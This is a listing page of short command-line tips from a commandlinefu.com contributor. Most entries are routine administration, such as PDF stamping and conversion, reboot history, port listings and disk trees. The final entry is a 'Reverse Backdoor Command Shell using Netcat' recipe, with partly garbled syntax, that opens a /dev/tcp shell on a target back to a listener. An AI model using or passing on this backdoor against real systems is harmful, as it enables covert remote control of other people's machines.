Commands by expelledboy (7)

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commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

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Stamp a text line on top of the pdf pages.
To quickly add some remark, comment, stamp text, ... on top of (each of) the pages of the input pdf file.

Find out the last times your system was rebooted (for the duration of wtmp).

count of down available ips

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Show all programs on UDP and TCP ports with timer information
-p PID and name of the program -u on a UDP port. -t also TCP ports -o networking timer -n numeric IP addresses (don't resolve them) -a all sockets

Exclude a string with awk

bash: display disks by id, UUID and HW path
Shows a tree of the disks. Requires "tree"

Convert PDF to JPG
(relies on 'imagemagick') This command will convert all .pdf files in a directory into a 800px (wide or height, whichever is smaller) image (with the aspect ratio kept) .jpg. If the file is named 'example1.pdf' it will be named 'example1.jpg' when it is complete. This is a VERY worthwhile command! People pay hundreds of dollars for this in the Windows world. My .jpg files average between 150kB to 300kB, but your's may differ.

Quick command line math
expr will give you a quick way to do basic math from the CLI. Make sure you escape things like * and leave a space between operators and digits.

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.


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